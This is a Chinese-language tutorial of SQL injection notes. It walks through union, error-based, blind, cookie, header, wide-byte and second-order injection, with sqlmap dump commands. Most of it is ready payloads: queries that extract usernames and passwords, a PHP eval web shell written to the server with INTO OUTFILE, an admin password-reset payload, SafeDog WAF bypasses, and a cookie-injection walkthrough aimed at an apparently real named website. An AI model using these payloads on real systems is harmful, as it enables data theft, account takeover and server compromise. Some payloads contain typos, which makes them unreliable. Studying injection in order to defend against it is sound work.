文章目录
学一点SQL注入基础
思维导图
注入原理
例如:python
#引入 import pymysql db = pymysql.connect(host='', port='', ...) cur = db.cursor() #mysql语句、模仿登录 sql = 'select * from user where username=%s and password=%s'%username,password #执行 cur.execute() #校验 result = cur.fetchone() if result: print('登录成功') else: print('登录失败')
如果不加安全过滤,当从外界输入进来username= root or 1 = 1; #
SQL语句就会变成 select * from user where username=root or 1 = 1;# and password=%s
#后面的就全被注释掉了、便可以用root的身份登录了
MySQL三种注释
- delete from table;
- /delete from table/
- – delete from table
- ==–==后面需要加空格也就是在注入的时候变成 ==> --+、+的url编码为空格
MySQL三种注入方式
- 数字型
- select * from tony where id = 1
- select * from tony where id = -1 union select 1,database(),user()
- 构造id: -1 union select 1, database(), user()
- 字符型
- select * from tony where id = ‘tony’
- select * from tony where id = ‘’-1 union selecr 1, database(), user()#
- 构造id:-1’ union select 1, database(), user() --+
- 搜索型
- select * from table where xxx like id=’%xxx%’
- select * from xxx where xxx like id = ‘%%’ union select 1, database(), user() ‘%%’
- %‘ union select 1, database(), user() --+’%
联合查询注入
UNION 操作符用于合并两个或多个 SELECT 语句的结果集。
构造一个id ==> ?id = 'union select 1, 2, 3 --+
确定字段数
order by语句
ORDER BY 关键字用于对结果集进行排序。
例如order by 4 ==> 得到报错 unknown column ‘4’ in order clause
便可确定字段数小于4
常规步骤
获取当前数据库及当前数据库用户名
- 函数:database()、user()
- information_schema.schemata ==> 存储所有数据库
- schema_name ==> 数据库名
获取表名称
- information_schema ==> 是MySQL5.0及以上自带数据库,用于存储MySQL中所有数据库和数据表和例
- information_schema.tables ==> 数据库中的表名称
- information_schema.columns ==> 数据库中的列名称
- table_name ==> 表名
- table_schema ==> 数据库名
- coulmn_name ==> 列名
- group_concat ==> 将查到的数据列出来
- 获取表名称的语句:
- union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’;、
获取列名称
- union select 1, group_concat(coulmn_name),3 from information_schema.columns where table_name = ‘xxx’ and table_schema = ‘xxx’;
获取数据
- 获取用户表的所有账号密码
- union select 1, group_concat(username),group_concat(password) from users;
sqlmap的使用
下载安装:
sqlmap需要环境
1.python 2.7版本
python2.7下载地址:https://www.python.org/
2.sqlmap压缩包
sqlmap下载地址:http://sqlmap.org/
基本流程:
获取当前所有数据库
sqlmap -u “http://www.xxx.com/?id=1” --dbs --batch
获取当前数据a中的所有表
sqlmap -u “http://www.xxx.com?id=1” -D a --tables --batch
获取当前数据库a中b表的所有列
sqlmap -u “http://www.xxx.com?id=1” -D a -T b --columns --batch
获取当前数据库a中b表c列的数据
sqlmap -u “http://www.xxx.com?id=1” -D a -T b -C username, password --dump --batch
常用命令:
-u 查询是否存在注入 --dbs :获取当前用户所有数据库 -D 库名 --tables :获取数据库中的表名 -D 库名 -T 表名 --columns :获取表中的字段名 -D 库名 -T 表名 -C username,password --dump:获取字段内容 --user :获取数据库的所有用户 --current-db :获取当前网站使用的数据库
跨库注入
限定条件:
- 当前数据库用户必须为root ==> 确定用户user()函数
流程:
获取当前所有数据库
union select 1, group_concat(schema_name),3 from information_schema.schemata
获取你要注入的数据库的表名称
union select 1, group_concat(table_name),3 from information_schema.tables where table_schema = ‘xxx’
获取你要注入的数据表的列名称
union select 1, group_concat(column_name),3 from information_schema.colunms where table_name = ‘xxx’ and table_schema = 'xxx’c
获取你需要的数据
union select 1, group_concat(username),group_concat(password) from xxx.xxx
注意
在查询表名,列名时,必须限定你要注入的数据库名称,如:xxx.xxx
MySQL注入获取最高权限-文件操作
目的:发现了注入点后,还想 进一步渗透,通过写入文件来获取shell
如:PHP EVAL 一句话木马
<?php eval($_POST["pass"]); ?>GET 数据从url提交
POST 数据采用隐蔽方式提交
REQUEST 即支持GET方式、又支持POST方式前提条件:
木马必须被MySQL允许上传,设置secure_file_priv字段为空
secure_file_priv也是可以绕过的(当网站开启了日态功能后可通过mysql日态文件来进行绕过,如果没有开启,则必须有一个执行SQL语句的地方)
原理分析:
执行:select * from users where id= ( (’’) )
sql_injection: ') ) --+、 ') ) #
重新构造SQL执行语句从而达到目的,具体情况需具体分析
执行语句:
union select 1, ‘<? php eval($_POST["pass"]) ?>’,3 into outfile ‘C:\ \1\ \2\ \3.txt’、Windows下双斜杠、可防止转义
如何找到站点根目录:
通过错误爆出路径
inurl: edu.cn warning
通过对方网站遗留文件爆出路径
xxx.xxx/phpinfo.php
通过漏洞爆出路径
discuz
根据对方server类型爆出路径
IIS:\inetpub\wwwroot\
phpstudy2020:\phpstudy_pro\WWW\
phostudy2018:\phpstudy\PHPTutorial\WWW\
整理思路
拿到注入点、找到路径并且secure_file_priv为空、即可执行MySQL一句话注入
利用cookie注入
cookie注入其原理也和平时的注入一样,只不过说我们是将提交的参数已cookie方式提交了,而一般的注入我们是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式,get和post的不同之处就在于一个我们可以通过IE地址栏处看到我们提交的参数,而另外一个却不能。
相对post和get方式注入来说,cookie注入就要稍微繁琐一些了,要进行cookie注入,我们首先就要修改cookie,这里就需要使用到Javascript语言了。另外cookie注入的形成有两个必须条件,
条件1:是程序对get和post方式提交的数据进行了过滤,但未对cookie提交的数据库进行过滤。条件2:在条件1的基础上,还需要程序对提交数据获取方式是直接request(“xxx”)的方式,未指
明使用request对象的具体方法进行获取。
1、先打开http://www.st3yy.com/experts_info.asp?id=128,等页面完全打开之后,我们将IE地址栏清空
2、在空白的地址栏上,填写上,以下内javascript: alert(document.cookie=“id=”+escape(“128”));
( 这里的“id=”便是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=”,“escape(“128”)”中的“128”是“http://www.st3yy.com/experts_info.asp?id=128”中的“id=218”了,这两处要具体根据所获的数据来决定)
3、进行了第二步了,打开另一个窗口中,试一下,访问http://www.st3yy.com/experts_info.asp?(既是将“id=128”去掉后),然后看是否能正常访问。
从这里可以知道,程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request(“xx”)的方式。
现在cookie形成的一个重要因素已经明确了。
4、第三步,测试一下是否能提交接特殊字符,看程序是否对数据进行过滤。我们再回到刚才更改cookie的页面,然后在IE地址栏处填写javascript:alert(document.cookie=“id=”+escape(“128 and 1=1”));
6、看页面是否正常,如果正常我们再提交javascript:alert(document.cookie=“id=”+escape(“128 and 1=2”));
7、接下来的工作就和get post注入一样了。
HTTP头注入
案例:
限制登录次数的功能,使用getip()获取IP,然后查询IP和登录时间,如果超过尝试登录次数就禁止登录
服务端根据HTTP头部的信息来判断用户,客户端这边利用服务端的漏洞进行SQL注入
MySQL加解密注入及宽字节注入
加解密注入
很多情况下,网站管理员会对传参进行一个加密的操作<如:base64,md5,自己写等等>
即get或者post的参数采用了base64等加密方式将数据进行加密,在通过参数传递给服务
器,eg:www.xxx.com/index.php?id=MQ==
加密部分:MQ==
解密结果:1 相当于id=1
如果要写注入语句,应该先构造语句,再base64加密,
id=1 and 1=1
base64加密结果:MSBhbmQgMT0x
语句为:www.xxx.com/index.php?id=MSBhbmQgMT0x
MySQL宽字节注入
宽字节注入是相对于单字节注入而言的。单字节注入就是大家平时的直接在带有参数ID的
URL后面 追回SQL语句进行注入。
在很多情况下, ‘ 符 会被替换成 / 符进入后台
如:php addslashes()给参数加上/ 避免注入
PHP中配置文件php.ini、magic_quotes_gpc函数开启
突破方法(gbk中文2个字节,英文1个字节):
希腊字母β是2个字节,url编码为%df,构造payload ==> ?id=-1%df%27 union select 1, user(), database(); --+
MySQL报错注入
含义
- 报错注入就是通过页面爆出的错误信息,构造合适的语句来获取我们想要的数据。
- 应用系统未关闭数据库报错函数,对于一些SQL语句的错误,直接回显在了页面上,部分甚至直接泄露数据库名和表名;
常见用法
extractvalue(不支持union)
payload ==> and extractvalue(null, concat(0x7e, sql_injection), 0x7e)) ==> 0x7e = ~
利用这种方式,对后台进行一个排序,指定第一个参数为null,非法传参,让他故意报错,讲第二个参数中的语句代入数据库执行,最后报错显示执行的结果。
updatexml
payload==> and 1 = (updatexml(1, contact(0x7e, (sql_injection)), 1))
此函数是用来更新xml数据的,当我们非法传参时,故意让他报错,执行我们的SQL语句,从而显示报错执行的结果,0x7e=~任然是用来区分数据的。
insert、update、delete注入
- 原理
当有信用户注册时,一般会执行如下SQL语句:
insert into users values (id, ’username‘, ’password‘);
当payload为 ==> ’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘
insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version()), 0x7e),0) or‘‘);
便变成只执行updatexml(1, concat(0x7e, (version()), 0x7e),0)的语句了
常用例子
extractvalue
insert into users values (id, ‘username’, ’’or extractvalue(1, concat(0x7e, (version()), 0x7e),0) or‘‘);
updatexml
insert into users values (id, ‘username’, ’’or updatexml(1, concat(0x7e, (version)), 0x7e),0) or‘‘);
updatexml函数用来更新xml数据,第一个参数应该传入更新的数据,但当我们非法传参时,导致报错执行了我们的version()函数。
PHP操作数据库
常规的PHP代码: <?php error_reporting(0); $id=&_GET("id"); $con=mysql_connect('127.0.0.1','root','password'); mysql_select_db("database",$con); $sql="select * from users where id=$id"; $res=mysql_query($sql); $row=mysql_fetch_array($res); if($res){ echo $row('username'); }else{ print_r(mysql_error()); } ?>
SQL盲注(bool和sleep)
bool型注入
对比:
盲注 普通注入 兼容性好 兼容性差 应用广 引用窄 效率低 效率高 逐步猜解 直接获取 常规步骤<递归获取数据>:
获取数据库名长度 – length()函数
- payload ==》 length(database())= ?
- ?可代入0-10递归查询出长度
获取数据库名称 – left()函数
- payload ==》 left(database(),1)=’?’
- ?可代入字母
- 数字递增1,2,3,4,5进一步获取数据库名的每个字母
获取表名称 – ascii()函数和substr()函数
payload ==》 ascii(substr(select column_name from information_schema.columns where table_schema=‘xxx’ and table_name = ‘xxx’ limit(0,1),1,1))=’?’
SELECT column1, column2, columnN FROM table_name WHERE field LIMIT [num]
?代入数字0-127
读取数据
- 1’ and ascii(substr((select username from users limit 0, 1), 1, 1))=’?’
- ?处代入数字0-127
延时注入(sleep)
配合if()函数使用,使用sleep()函数进行一个延时
如果满足数据库长度为5则进行延时5秒,反之,不延时。
例如 ==》 select if(length(database())=5,sleep(2),sleep(5))
SQL二次注入
- 原理
- 寻找合适的注入点对SQL语句进行拼接,将攻击语句写入到数据库,从而对数据库产生影响,如update更改密码的场景。
- 步骤:
- 正常语句:update users set password = ‘xxx’ where username = ‘xxx’ and password = ‘xxx’
- 构造payload:注册用户username = admin’#
- 构造后:update users set password = ‘123456’ where username = 'admin‘ # ’ and password = ‘xxx’
- end ==》 admin密码变成了123456
- 拿到admin,下一步为所欲为
SQL绕过注入
- 为什么需要绕过?
很多后台为了防止SQL注入会,使用preg_replace来过滤掉注释和其他影响SQL语句正常执行的符号。
闭合注入
再不需要注释的情况下,构造闭合来执行我们的SQL语句
union select强制闭合
原语句:select * from users where id = ‘$id’;
payload:-1’union select 1,2,'3
代入之后:select * from users where id = '-1’union select 1,(sql_injection),‘3’;
or语句制造闭合
原语句:select * from users where id=’$id’;
payload:-1’ union select 1,2,3 or ‘1’ = '1
代入之后:select * from users where id=’-1’ union select 1,2,3 or ‘1’ = ‘1’;
绕过安全狗
通过一些过滤来达到预防攻击的效果。
判断过滤的关键字,在前面加上干扰符,比如a。
如/*! */注释被安全狗认定为不对系统造成伤害,所以不会拦截。
如使用%0a 换行,%23 注释来反过滤
payload ==> -1 union %23a%0a/* ! select*/ 1, 2, 3
让a单独在一行,然后把a注释掉,进行换行让接下来的select语句正常执行
利用版本号绕过
/*! 44509select */
常见的方法:
获取数据库名
payload ==> -1 union %23a%0a/* ! select * / 1, group_concat(table_name), 3 %23a%0a/ * from ! * / information_schema.tables where table_schema = ‘xxx’;
获取表名
-1 union %23a%0a/* ! select */ 1, group_concat(table_name), 3 %23a%0a/ *! from * /
information_schema.tables where table_schema = ‘xxx’
常见的安全狗:
website_safedog,aliyundun,godaddy,